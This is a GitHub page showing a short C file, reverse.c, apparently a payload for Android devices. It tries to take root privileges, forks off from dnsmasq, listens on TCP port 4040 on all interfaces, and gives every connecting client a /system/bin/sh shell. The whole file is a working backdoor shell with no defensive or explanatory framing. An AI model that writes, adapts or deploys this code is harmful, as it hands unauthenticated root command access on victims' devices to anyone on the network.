-
Notifications
You must be signed in to change notification settings - Fork 8
/
Copy pathreverse.c
55 lines (45 loc) · 1.11 KB
/
reverse.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#define PORT 4040
int main()
{
int newfd, sockfd;
struct sockaddr_in saddr;
// setuid/gid to root
seteuid(0);
setuid(0);
setegid(0);
setgid(0);
// fork off from dnsmasq
if(fork())
return 0;
// create socket that listens on PORT
if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
return 0;
// not sure if this is necesary, but it definitely won't hurt.
setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (const void *)1, sizeof(const void *));
// clear out the socket and bind to 0.0.0.0:PORT
memset(&saddr,0,sizeof(saddr));
saddr.sin_family = AF_INET;
saddr.sin_port = htons(PORT);
saddr.sin_addr.s_addr = INADDR_ANY;
bind(sockfd, (struct sockaddr *)&saddr, sizeof(saddr));
listen(sockfd, 0);
// accept loop
while(1) {
if((newfd = accept(sockfd, NULL, NULL)) < 0)
return 0;
if( !fork() ) { // fork child shell
dup2(newfd, 2);
dup2(newfd, 1);
dup2(newfd, 0);
execl("/system/bin/sh", "/system/bin/sh", NULL);
}
}
return 0;
}